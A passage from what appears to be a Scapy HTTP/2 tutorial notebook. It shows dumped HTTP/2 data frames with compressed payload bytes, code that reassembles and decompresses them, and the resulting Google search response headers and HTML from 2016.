v\\xef\\xb2n\\xe3\\xce\\xack\\x83\\xd3\\x93#Q\\xdd\\xddMWf\\xf6\\x85\\xda^\\xe2\\x16\\x7f\\x08\\xc7\\x00\\xfa9v\\x06\\xc7\\xf4\\x04:\\xb3I\\xa3\\xde\\'\\x01\\xff&\\x96t\\'3\\xb4\\xb2|\\xa3\\xaa\\x81\\x9e=:(\\xec\\x0f*\\x07N\\xd8\\xff\\xf8:\\x9a\\xde\\x8e\\xa2\\x90}J\\xf3\\x87\\xc6}&\\xf3pQ6\\xedf\\xed|b\\x99\\xc9Yn7uqQ\\xbdl\\xa8\\xdb5\\xe8\\xbd\\x0e\\x0f\\x9b\\xd1\\x17rM\\xe4\\xc8\\xef_\\x99\\xe5\\x04il\\xb1\\x95Y\\xe2S+3\\x03\\xb9>3\\x08\\t\\x1d\\xb6%\\xc5S\\x14L\\tVj*\\x08\\x04\\xd3$\\xc2>\\x88\\x04\\x85\\xc6\\x842\\xf0P&%\\x1c\\xec\\x98\\xb7\\x84C\\xbe\\x12^\\x9d\\xed\\xcc\\x97s\\xca#z0\\xe1\\xe2\\x11\\xd7z\\xe8\\x8e\\xb4\\x88L\\xc6\\x06\\xb5\\x82\\xa6\\xaa\\xad,\\xcd\\x06\\xd4Q\\xdd\\x9eG\\xf5h\\x93}\\x0f\\x13.4\\xc5\\xee\\xb2T}\\xc8]ej\\xd3;\\xe3\\xd8\\xd1k\\xe5\\xeb\\xb3\\x199)\\xd4k\\xd3\\x87V\\xf5n\\x12\\xd9\\xabR\\xa7\\xe6\\xf6@rzm\\x07\\xf9`14\\x10En\\x12eJY\\xb4\\'\\xd9DY\\xe5<f\\xc8\\xd9\\xecZ\\xee)\\x82\\xbe\\tf\\xdd\\xba\\x13+\\xdf,\\xb3v\\xb2\\xe5\\xcai~\\xfc`e\\xea\\x8bu\\xdc3\\x94\\xbe\\x15\\xd6\\xac\\x8a+f\\xc29\\x1d\\xe7\\xa7\\xe7N\\xf3\"=j\\xbb\\x8e\\x1a\\xcd\\xbb\\x92b\\x1dw\\xcf\\x9c\\xd3\\x95\\xac\\xf9\\xf5\\xab\\x9e\\x85\\xdd?\\xba\\xc6\\x9cY\\xb5\\xe1B`}\\xe7\\xfc\\nWN\\x925}-\\xd7a\\xfd\\xf3hf\\x11\\ts\\x89\\xd40\\']d\\xef\\x97\\xd6A\\xe57\\xafZ\\xff\\x00\\x19o\\xe3U\\xac\\xcb\"\\xa6\\x11\\x9b\\x11}\\x18\\x85\\xf1t\\x81\\x1bO\\xd9\\xe0\\xb6\\xbc\\xbd\\x1e\\xa0Ss\\xcb\\xe0\\xc3-\\x7f\\xcfu\\xf68hz8\\xe6\\x89\\n\\xf0\\xf1\\x1e\\xb1\\xa8w\\xab\\x10\\xf6\\x87!/f*\\xfd\\xb58\\xa0\\nJ\\xf7\\xf5\\xb2\\x1a:\\x9eN\\xeb\\x83}3}\\xdd\\x87\\xef\\xcej\\x0f\\x99\\xa9S\\xd1\\xc8\\xd5)\\xcd\\x02\\x07D\\xbds\\xd1\\x13.$BN\\x88\\x1b\\x00\\x90{\\x9b\\x19\\x88,\\xb5.;RgX\\xd3M\\xf3\\xbag0\\x8an\\t\\x86\\xb5\\x10\\xce\\x18\\xc6\\x12\\xc1\\xde\"\\xda\\xbeZ\\x86\\xd8\\x9e\\x89\\xd5o\\x96!&\\xedl\\x938\\xa7\\x0f\\xd9\\xcc\\xf5\\x82!\\xbeo\\xfe<\\x99A\\xf39\\x14\\x9cE\\xdb\\xe1\\xae\\x95\\xa7\\xb3\\xac\\xd6,\\xb4\\xadB2\\x7f/\\xba\\x93\\x165\\xb4j#\\xa9\\xb5\\x86\\x9di\\xe3h\\xba\\xbdMx\\x9f\\x87\\x13mDiV\\xab\\x80\\xb3\\r(\\xcd\\x9e[\\xc2\\x97\\x0f\\x01VU\\x14d\\xebqn\\x16\\xf1\\\\\\x19\\x86\\xcbll\\\\\\xaa\\x8c\\x88\\x10{\\xc5\\x7f\\xc9T\\x8cK\\x9et,\\x19\\x13\\x9eo\\x10\\xd8\\x12\\x14\\xce\\t\\xff+\\xab\\x92> \\x0bc\\x1e^]\"t\\xaad\\r\\x851\\xb1\\xec\\xa5\\x0f7\\xa5@{k@h\\x7f\\xd4#S\\xcb\\xd0y\\xd8\\x10\\x98\\xe11S5\\xe3\\xf6\\xd4v\\xc8\\x88x\\x0e\\xaa\\x07o\\x83C\\x9e;\\xa9\\x98\\x0b\\x0b\\x85\\xf2:&\\x1e\\x904\\xf5\\xa6(//\\xfe\\xd2d<n4\\x1er\\x89:!\\xe9\\x9b}Z?=\\xbf;\\xd0\\x0ef\\x8d\\x07\\x904h\\xdd\\xc0\\xd8\\xaa!\\\\\\xec\\xa0F\\xc0s\\xbd\\xf3]M\\xc7D\\xe8i\\xc6\\x00Qx\\xaeRbmN\\xc8\\xbc\\x02S(hB\\x9b\\x9d\\xf2!g\\xf7\\x02e_\\xad\\x94\\xe9\\x9c\\x8b\\xb5oV\\xca4\\x07\\x9d^\\x85\\xe6.\\x86W\\x87!\\x1b\\xc9;\\xe7\\xc7vd\\xc8\\xf1\\xd3\\xf9S\\xcd\\xb4\\x9c\\xde\\xb0>\\x12E\\xb5#w\\xee$w\\x9c\\xba\\x9e\\xe5.\\xaf\\xa7jf\\xbb\\x1b\\xb9\\xdf\\x89\\xa0\\xcd\\x08\\x88& d\\x03\\x02\"Y\\x80\\xc5\\xbc\\xe90\\xb3J&hVi\\xa1W\\x1b(H\\x97(:O4I\\xc0\\xf4\\x15\\x84\\xf9\\xa8\\x81\\xa0F8\\xf3\\xec\\xf06\\xa6\\x0f\\x03\\xe7\\xa3\\xff\\xbf\\xa0\\xd9\\xf2\\x8f?\\xc1\\x8c4\\xd9(\\x98\\x06\\xb5\\x81a\\x15\\xa1Zv\\xc1wO\\xb1\\xe8C|{\\x16\\x1f,a\\x02\\xab>\\xe1\\xc7)\\xb6\\xdd\\x14\\xcb;c\\n\\x8cn\\xe4\\x95\\xa8\\xb7~\\x82\\x96]4\\xebC\\xb5\\xb8\\xad\\xaa\\x08z\\xb6\\xae\\xbc\\xd5\\xd0\\xf2y\\x96<\\x9e\\x9e\\xc15\\xff\\x98e\\x18\\x0e\\xcc}\\xe6M8\\x83\\x19RN\\xc3\\x8fX@:\\x89W\\xce\\x98\\x02\\x11]\\xa8\\x11\\xec\\x8a\\xe8\\xec\\x8f\\x89\\x01\\xb0@L\\xae\\xbf\\xc8i5\\xc5\\xc1\\xf2\\xe2\\xf6\\xfe\\xaa\\xd3~h\\xcd\\xae\\xcfG\\xa3\\xa3\\xa3\\xe3\\xd3\\xab\\xd6\\xee\\xe5iFI9\\x17\\xb5e[;\\xfa\\xd6\\xbc.\\x84\\x163|o\\\\\\x93lJ\\xde<\\x83,\\x941\\x88 DOh\\xf5\\xf2\\x03\\xc7P\\x08?_\\xad\\x9c\\xe9\\x1e\\xe0\\xe6\\x95oT\\xceL\\x8e\\x8f\\xe4]\\xe9\\xf0|\\xd8M\\xcc\\xe5\\xcc\\x0bS\\xc3\\x9b\\x1cK\\xd3\\xc3\\x9f \\xc1)2\\x9f$K\\xd3d;\\x12\\xa8\\xf3t\\x1a\\xd5\\x1a\\xddkz^;?\\xc9\\xb5\\xd2e\\xe3h\\xbf\\x91/O\\xa6\\xa9\\x94\\xd5\\xb1[\\xdb\\x93@\\x1b\\xe7*\\x9b\\x91G\\xe7\\x80\\x9eM\\xc8\\xa3]a$Q\\x90F\\x89|P\\x1a\\xfd\\xd7s<\\xe9\\xbfq\\xc9Q>=\\x11*g|\\xa3P\\xf2\\xa3\\x00u4\\xfd:\\x90e\\xe9\\x92\\xab\\x08\\xc7\\xb4/\\xab\\xd4\\x99\\xc5\\x84tLh\\xbbL\\xa6\\x10\\xdb\\x89\\xca\\x9e\\x9d\\x1f\\xf9[\\xa8\\x91\\x9f\\x85\\x16\\xba\\xff\\xfd\\x13\\x04\\x83G\\xfd\\xd1\\x92\\x80?@3\\x85\\xdcn\\xf6cL\\xa8\\xa3u\\xce\\xb4\\x1e\\x1d2\\xdf\\x00\\xb6q\\xa3?\\xcc\\x15T\\xf0c#I1\\x8d\\x89\\xa4\\xb2\\xb1\\x960\\x9b\\x02\\xe8\\x13\\x9e\\x86\\xc15\\x90\\xb5O`\\xa8\\x97Mq\\xb8\\xac[5\\x1a\\xc6\\x904N\\xaf\\x0f\\xfbV\\xdeN4.G\\xe3\\xf4\\xfd\\x89\\x06\\xf7xZ\\xe6\\x97\\x9a1\\x11\\xce\\x8d\\xdf\\xbaa\\xdf\\xfa\\x92\\x8fV\\xd6\\x0cW\\xf1d\\xf7>\\xc0\\xb0)I\\xf1\\x02>B\\xab\\x91\\x05Z\\xbeZ\\xb9p1\\x13\\x8f\\xbeY\\xb9P\\x16\\x9b\\x1a\\x89V\\x9b\\x15W\\x9e\\xcb\\x857\\xd0\\xfav\\xb8\\xfc\\xcd\\x8a\\xb9\\xa0+\\x8d.\\xd9M:\\'\\xe9\\xecQK\\xee6;V#\\x17\\x9d\\xe6o\\xb3\\xed\\xed9i\\xdf\\x80\\x88\\xcd\\xf0o\\t\\x00\\xdf\\x04\\xff\\xce\\xcf\\xd7\\x13a\\x0e\\xfe\\xe2v/\\xe5qL4\\xc34\\x1f\\x17[\\xb9\\x84{\\x97\\x06|\\xb1\\xdc\\xf7\\x1a\\xdc!\\xbb3w\\xd1\\xda:\\xed\\xf7\\xf9\\x86Z,\\xc9\\xbc\\xb8=\\n5q\\xee\\xc3\\xf7}y\\xa1\\x1em\\xfe\\x06\\xfd\\xbdX\\x15.4\\xf8\\x07\\x8a\\xfbI\\xde\\x1d7V\\xa2 0\\xfd`|$\\xab\\x08,K]N\\xb0\\xbe\\xfb4+K\\x98\\xfd,e\\x08\\x0f\\xa7#M\"\\xf7\\x9b\\x87)\\x04Xl\\xdb\\x90\\xe9#\\\\\\xfd\\xfb\\xafH\\x90\\xe9EBAN_\\x1f\\xa5r\\x1el)\\x1c?\\xc1\\x9cS\\xee\\xfeH^\\xe2\\xcc,!Z\\x9e\\xb1e\\xe9e\\x9a\\xe6{\\tx\\xf0\\xf2u\\xe2r%\\xdb\\xf5\\xfa\\x15\\x1d\\x88\\x11\\x0e\\'\\x92\\x92W\\x19\\xf7\\xe9\"\\x89\\x9a\\xabC@\\xac\\x0c\\x17\\x9a\\xe4\\xf1B7\\t\\x1c\\xf7V\\xae\\x0b\\xdbt\\xb0\\x1f\\x80\\x8d\\xd7\\xf5\\x14\\xb4``\\xd8\\xed\\r\\x93\\xe3\\xd9\\x1d\\xd7\\x84\\xe5\\xba<(\\x07`\\xf1k\\xfb\\xdb\\x0c\\x14g.\\xffL\\xaf\\x0b^gp\\x10\\x00\\xcfcU\\xe9/5X\\x8c\\xf3\\xad\\x0b\\n\\x1d\\x1c\\x06@aU\\xfd}\\x86\\t~\\xd7\\x85k:\\xa8\\x04\\x87\\x08.\\xbe\\xd4\\xf0\\x84\\xce \\xaf\\t\\xceMyP\\r\\x80\\x13\\xaa\\xf2\\xef3\\\\\\xca\\xbaTx\\xd3\\x19\\xd4\\x82\\xa3\\xa5\\xac\\xa0\\xc1Uq\\x7f\\xe7\\x92\\x17\\x83\\xe9\\xf4a\\x1d\\x1c\\xf1\\x85\\x9e\\x07>\\x0f\\xf9\\xf3\\xa6\\x00\\xdfX\\x15\\x06\\x19d\\xe1p\\xc3T\\x01x\\xf5\\xee\\x99\\xad\\xd0G]oI9\\x971\\xaa\\xf0\\x93\\xa0\\xc0\\x8b\\x0c|\\xd1\\x14K\\xac\\xecE\\xf9Mq\\x0c\\xfb\\xda\\xc6\\x1e\\x87\\xdc\\x0f\\x13\\xf9\\xa6z\\xb3\\xe9`\\xbd\\x89p\\xbd\\xc9p\\xc5su\\xb4\\xaf\\xad\\x19\\xe6\\x89\\xd0\\xd2\\x8a\\x0cq\\x9c\\x02\\x1c\\xd0SK\\xc9\\x84O\\x0e\\'o\\xc5\\xd0n\\xe69HR\\x9c*>#\\x18\\xa9m\\x80\\x91\\xfe\\xec`\\xa4\\xb7\\x01F\\xe6\\xb3\\x83\\x91\\xd9\\x06\\x18\\xd9\\xcf\\x0eFv\\x1b`\\xe4>;\\x18\\xb9m\\x80\\xb1\\xfb\\xd9\\xc1\\xd8\\xdd\\x06\\x18\\xf9\\xcf\\x0eF~\\x1b`\\x14>;\\x18\\x85m\\x80\\x91L\\x04\\xe1X\\x88\\xeeP\\xaa\\x19\\x9e\\x98\\xd6s\\x04~f\\t\\xf9|G\\xde\\x84\\x81B.\\x80\\x81\\xdddP\\x07\\x08\\xba<W\\xa5\\xc6\\xe0\\x8a!*\\x11\\x91\\xbd\\x8eK\\xf1X\\xd8\\xdc\\xc4(\\xad\\xd2\\xc2\\x16\\xca\\xa3|\\xc0\\x15\\xa7\\x1e\\xe2*\\xacD&\\x0b,=y\\xe2c\\x000O-\\x0b\\xe8\\x95\\x922\\xc6`\\xc3\\xca\\xed\\xab1\\x1c0\\x85\\x08\\x12~\\xfc\\xc8\\xado\\x0bU\\xd55M\\xc3r\\xd0&\\xc9+\\x8d\\xf7\\xa8\\x1e\\x97t{B\\xac\\x989\\xfd\\x99_\\x95\\x92\\xe9Lf\\xb7\\xc0\\xea\\xe6iR\\xf6D\\x8cC\\x86g\\x005\\t\\xf7\\xf4\\xfbI\\xaax\\x8e\"\\xafr\\xc704;\\xde\\'D\\xc1Q\\x80\\xb6\\xac1\\x99\\xc6\\xd1\\x10\\xf7\\xb3\\xc9\\xb7\\xe6\\xd4\\x95R\\xb2\\x90\\xe3\\n\\xb2K\\xaci\\x00 \\xaf\\x9dC~ |\\xeeLG\\x85~an3\\xc3\\x96j\\x1f\\xc3}m5\\x861\\xcf\\x860\\xbfz\\x19\\xd9\\x18\\x0e_v\\t\\xd5\\xb8\\xb1\\x8b\\'fY\\x02\\xd0O\\xa4$a\"\\x8d\\x96\\xdb\\xd3\\xa8L\\x9d\\xc7g\\n\\x99\\x06\\xbe&v\\x1c\\xa3\\xa4H\\xf2\\x14Z(\\x1bz\\x1f\\xf0\\xa8;\\x94\\x85\\xdd\\xff\\xd4\\x87\\x18u\\xc5\\xe6\\x9f)\\xd4\\x0b\\xda\\xbd\\xba?=\\xc3u\\x98\\xc53\\xb2\\xf7?\\xb8I\\xcd\\xe4\\xc7\\xbf\\x16@<M\\x89\\xe1\\x85\\x0f\\xb7T\\xfb\\xd6KQ\\x13\\xd6\\xeb\\x83\\x94\\x8d\\xd1\\xd4\\x17\\x14\\xfer\\xd2\\xbc\\xe5\\x1cy\\x04\\x93\\xf1AK+3\\'\\xcfs\\xc6\\x1e\\xd6\\x85\\x92_\\x94\\'\\x8e}\\x92\\xa4\\x0fslF\\xe2\\x0fwv\\xfc6\\x0e?\\xc3\\x12\\\\\\xc6T3F\\xf4\\xdbn\\'vy\\x92\\xbe2;\\xb3\\xe8~5\\x1f;\\x8d\\x8fJv\\xefV%;J\\x1c\\x18\\xca]\\x1c\\xa8.\\xee\\x94f2`\\xd3\\xb2Kb\\xf9\\xbc\\x900\\xaac\\xa5&\\xed\\x9e\\x1f\\xa7.o\\xeb\\xed\\xab\\xa4\\x9d\\xddo=\\\\\\xd7k\\xa4;f\\x87\\xea^\\x99\"\\xd0\\xeb\\xbf\\xb4\\xc8\\xd5(\\xc91\\xf9\\xc7\\xdf#\\xd2\\x80\\xe8\\x91\"\\xfa9v\"r\\xf0Z\\xc3t\\xe6\\x91bD%\\xd4\\xd2\\x0cc\\x84\\xc9\\xc1ML\\xeb\\xa8\\xfaE\\x14\\xf5\\xde\\x99_\\xdbP\\x14\\xde\\x02\\x0b\\xf1\\x9e\\xb0\\x141\\xc5\\xc8<Y\\x01\\xbc\\xa4v\\x0f>N\\xe5w\"w\\xd2(RL\\xc0_\\xdb\\xd0M\\xff\\x0bm\\xe4_\\x8d\\xec\\x01\\xd4\\xf7{D\\xa6=\\xa8/r\\xd8\\xefK2\\tOi\\xec\\xc9t\\x84/m[\\x9a\\x92\\x19\\x8f\\'#\\x13\\xc7\\xc18\\x85\\x8e\\x8a\\xfb\\x1fM\\xe0.E(\\xa8\\xc9\\xc3)\\x94<\\xfa\\xd5M$R9fP\\xa6HvP\\x1f\\xeed\\x94\\xb12m\\xc4Z\\x02\\x1e+\\xb1c@\\xa6\\xe6\\xda\\xf0\\xd8\\xb0\\x87\\x08\\xc5)Z\\x9b\\xf9\\x19[\\x89\\xda\\x14?0a\\x9c\\xe1M\\x99\\xb5h\\xbb\\x83\\x01\\xb1\\x99\\x17M\\xe2\\xe6\\xe9G\\xe7Q@&f\\xd1\\xd1#\\xdb)96p\\x13\\x0ev!]\\xf6&\\xc6\\xaf\\x11?_\\xd8\\xaf\\x11\\xf6\\xe2P\\r\\xa5\\x07\\xe3\\x85\\xe3\\x12\\x7f\\x17\\xe3\\x8db7;\\xbcb\\x82H\\xb5{\\x14{\\xb8\\xe0\\xa7xB\\x8a\\xa5\\xaf\\xc1\\x97\\x18\\xb26\\xf8\\x92\\xcf\\xb4\\xc8\\x9f;\\x11\\x1d\\x87\\x8c\\xa3\\xdb\\x18[\\x80mxf\\xdeCa\\xc6\\xea\\xe0[\\xe8\\xa1\\xa9\\xf8E\\xac>\\x94\\xfe\\x85\\xbf\\x13<\\xd3-\\xd6\\xcf\\xee}\\x13\\xe1\\xfc\\x01\\xb3D\\xcd\\xefB\\x06\\x8f\\xf9Sn#\\x9d\\xdf\\xfav\\xb8\\xc5\\x03\\xf8]\\xdc(\\xfd\\xc8ox\\x03\\x1dJ&\\xf0\\x82D\\x8aY\\xf8\\xeb\\x18C\\xe8\\xf2\\xb8\\xa0\\xea\\x85\\xc3\\x93\\xd6E\\xaa|\\x9f\\xbc8\\x10\\xdd\\x9c\\xabds\\xe7\\xb3\\xe1\\xb4\\x1d\\xf9\\xf3\\xa7\\x17\\xd3c\\x86s\\xe5\\xca\\x8aQ\\xfa\\xddK\\xd9\\x90\\xd8\\xe1r8\\xf1\\xe7\\x934\\xa8\\x92\\x9f\\xf2\\x98b\\x18\\x90K,\\xb6\\xd3\\x0b=\\xab\\xb1:0_\\xf0w\\xd2\\x1f\\x7f|\\xd7\\xfb\\t?\\x93\\xfd\">Fv\\x80\\xb1\\x95;\\x9dd\\xd9\\x18\\x99\\x92\\x13)\\x95d\\xf4\\xb4\\xc1e\\xd3P\\xc8\\xcf\\xf2\\xbc\\x9c\\x97\\x9f\\xb3(\\xc7\\x90\\xc3\\xedH%%\\xc6\\xe7\\xa7\\xdf\\xb4\\x7f\\xef5+}\\xf8\\xd0\\xfb\\xf0\\xe1G\\xe9\\xbb\\xd2\\x02\\xae\\x18\\x83\\xe6\\x8f?z\\xa1\\x87\\x1c\\xd6E\\xea[\\x96T\\x13\\xd0\\x0e\\xff\\xe2\\xbcJL\\xb0\\xfb\\xf3\\x07/\\xbbn\\x8fN\\xbc\\xf4\\xba=\\xaa\\xb2\\xf4\\xba\\xe1$\\xbf\\xc0\\x1f\\x97\\x93\\x98.1\\xc9\\xb8\\xc7\\xa3Q\\x08\\xec\\xfd?\\x00\\x00\\x00\\xff\\xff'\n",
- " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x5b\n",
- " type = DataFrm\n",
- " flags = set(['End Stream (ES)', 'Padded (P)'])\n",
- " reserved = 0L\n",
- " stream_id = 5L\n",
- "###[ HTTP/2 Padded Data Frame ]### \n",
- " padlen = 80\n",
- " data = '\\x03\\x00\\x1d\\x82P[\\x14\\xaa\\x00\\x00'\n",
- " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 137
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's display the answer in human-readable format. We assume, once more for the sake of simplicity that we received very few headers."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "stream_txt = srv_tblhdr.gen_txt_repr(h2seq.frames[0])\n",
- "data = ''\n",
- "for frgmt in h2seq.frames[1:]:\n",
- " data += frgmt.payload.data\n",
- "print(stream_txt)\n",
- "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode(\"utf-8\", \"ignore\"))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- ":status 200\n",
- "date: Tue, 13 Dec 2016 17:36:19 GMT\n",
- "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n",
- "server: gws\n",
- "content-length: 4420\n",
- "expires: Fri, 16 Dec 2016 06:23:59 GMT\n",
- "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n",
- "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n",
- "date: Tue, 13 Dec 2016 17:36:19 GMT\n",
- "cache-control: private, max-age=0\n"
- ]
- },
- {
- "html": [
- "<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/SearchResultsPage\" lang=\"fr\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\" itemprop=\"image\"><link href=\"/images/branding/product/ico/googleg_lodp.ico\" rel=\"shortcut icon\"><title>scapy - Recherche Google</title><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important} </style><style>.star{float:left;margin-top:1px;overflow:hidden}._yhd{font-size:11px}.j{width:34em}body,td,div,.p,a{font-family:arial,sans-serif;tap-highlight-color:rgba(255,255,255,0)}body{margin:0}a img{border:0}#gbar{float:left;height:22px;padding-left:2px;font-size:13px}.gsfi,.gsfs{font-size:17px}.w,.q:active,.q:visited,.tbotu{color:#11c}a.gl{text-decoration:none}._Umd a:link{color:#0E1CB3}#foot{padding:0 8px}#foot a{white-space:nowrap}h3{font-size:16px;font-weight:normal;margin:0;padding:0}#res h3{display:inline}.hd{height:1px;position:absolute;top:-1000em}.g,body,html,table,.std{font-size:13px}.g{margin-bottom:23px;margin-top:0;zoom:1}ol li,ul li{list-style:none}h1,ol,ul,li{margin:0;padding:0}#mbEnd h2{font-weight:normal}.e{margin:2px 0 0.75em}#leftnav a{text-decoration:none}#leftnav h2{color:#767676;font-weight:normal;margin:0}#nav{border-collapse:collapse;margin-top:17px;text-align:left}#nav td{text-align:center}.nobr{white-space:nowrap}.ts{border-collapse:collapse}.s br{display:none}.csb{display:block;height:40px}.images_table td{line-height:17px;padding-bottom:16px}.images_table img{border:1px solid #ccc;padding:1px}#tbd,#abd{display:block;min-height:1px}#abd{padding-top:3px}#tbd li{display:inline}._ITd,._JTd{margin-bottom:8px}#tbd .tbt li{display:block;font-size:13px;line-height:1.2;padding-bottom:3px;padding-left:8px;text-indent:-8px}.tbos,.b{font-weight:bold}em{font-weight:bold;font-style:normal}.mime{color:#1a0dab;font-weight:bold;font-size:x-small}._lwd{right:-2px !important;overflow:hidden}.soc a{text-decoration:none}.soc{color:#808080}._AC a{text-decoration:none}._AC{color:#808080}._kgd{color:#e7711b}#_vBb{border:1px solid #e0e0e0;margin-left:-8px;margin-right:-8px;padding:15px 20px 5px}._m3b{font-size:32px}._eGc{color:#777;font-size:16px;margin-top:5px}._H0d{color:#777;font-size:14px;margin-top:5px}._HLh{border:1px solid #e0e0e0;padding-left:20px}._Tki{border:1px solid #e0e0e0;padding:5px 20px}#vob{border:1px solid #e0e0e0;padding:15px 15px}#_Nyc{font-size:22px;line-height:22px;padding-bottom:5px}#vob_st{line-height:1.24}._Tsb{border-width:1px;border-style:solid;border-color:#eee;background-color:#fff;position:relative;margin-bottom:26px}._Peb,._Qeb,._Usb{font-family:Arial;font-weight:lighter}._Peb{margin-bottom:5px}._Peb{font-size:xx-large}._Qeb{font-size:medium}._Usb{font-size:small}._Tsb{margin-left:-8px;margin-right:-15px;padding:20px 20px 24px}._rOc{border-spacing:0px 2px}._sOc{max-width:380px;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;padding-left:0px}._v9b{padding-left:15px;white-space:nowrap;color:#666}._pOc{padding-left:0px}._rkc{color:#212121}._HOb{color:#878787}._lMf{color:#093}._jMf{color:#c00}._kMf{padding:1px}._CKg{color:#dd4b39}.gssb_a{padding:0 10px !important}.gssb_c{left:132px !important;right:295px !important;top:78px !important;width:572px !important}.gssb_c table{font-size:16px !important}.gssb_e{border:1px solid #ccc !important;border-top-color:#d9d9d9 !important}.gssb_i{background:#eee !important}#res{padding:0 8px}#rhs_block{padding-top:43px}#_FQd{padding:0 8px}#subform_ctrl{font-size:11px;height:17px;margin:5px 3px 0 17px}.taf{padding-bottom:3px}._chd{padding:20px 0 3px}._bhd{padding:20px 0 3px}#topstuff .e{padding-bottom:6px}.slk .sld{width:250px}.slk{margin-bottom:-3px}.slk ._z3b{padding-bottom:5px;width:250px}._QPd{margin-top:1px;margin-bottom:-11px}._zuc{color:#545454}._Auc{padding-top:2px;padding-bottom:1px}._Buc{padding-top:1px;margin-bottom:14px}.ac,.st{line-height:1.24}.mfr,#ofr{font-size:16px;margin:1em 0;padding:0 8px}._tLi{padding-bottom:25px}.s{color:#545454}.ac,._JEe{color:#545454}a.fl,._cD a,.osl a{color:#1a0dab;text-decoration:none}a:link{color:#1a0dab;cursor:pointer}#tads a:link{color:#1a0dab}#tads .soc a:link{color:#808080}#tads ._AC a:link{color:#808080}._AC a:link{color:#808080}._AC a:visited{color:#808080}._AC a:hover{color:#808080;text-decoration:underline}a:visited{color:#61C}.blg a{text-decoration:none}cite,cite a:link{color:#006621;font-style:normal}#tads cite{color:#006621}.kv{font-size:15px}.kvs{margin-top:1px}.kv,.kvs,.slp{display:block;margin-bottom:1px}.kt{border-spacing:2px 0;margin-top:1px}#mbEnd li{margin:20px 8px 0 0}.f{color:#808080}._pJb{color:#093}h4.r{display:inline;font-size:small;font-weight:normal}.g{line-height:1.2}._sPb{display:inline-block;vertical-align:top;overflow:hidden;position:relative}._Gnc{margin:0 0 2em 1.3em}._Gnc li{list-style-type:disc}.osl{color:#777;margin-top:4px}.r{font-size:16px;margin:0}.spell{font-size:16px}.spell_orig{font-size:13px}.spell_orig a{text-decoration:none}.spell_orig b i{font-style:normal;font-weight:normal}.th{border:1px solid #ebebeb}.ts td{padding:0}.videobox{padding-bottom:3px}.slk a{text-decoration:none}#leftnav a:hover,#leftnav .tbou a:hover,.slk h3 a,a:hover{text-decoration:underline}#mn{table-layout:fixed;width:100%}#leftnav a{color:#222;font-size:13px}#leftnav{padding:43px 4px 4px 0}.tbos{color:#dd4b39}._AEd{border-top:1px solid #efefef;font-size:13px;margin:10px 0 14px 10px;padding:0}.tbt{margin-bottom:28px}#tbd{padding:0 0 0 16px}.tbou a{color:#222}#center_col{border:0;padding:0 8px 0 0}#topstuff .e{padding-top:3px}#topstuff .sp_cnt{padding-top:6px}#ab_name{color:#dd4b39;font:20px 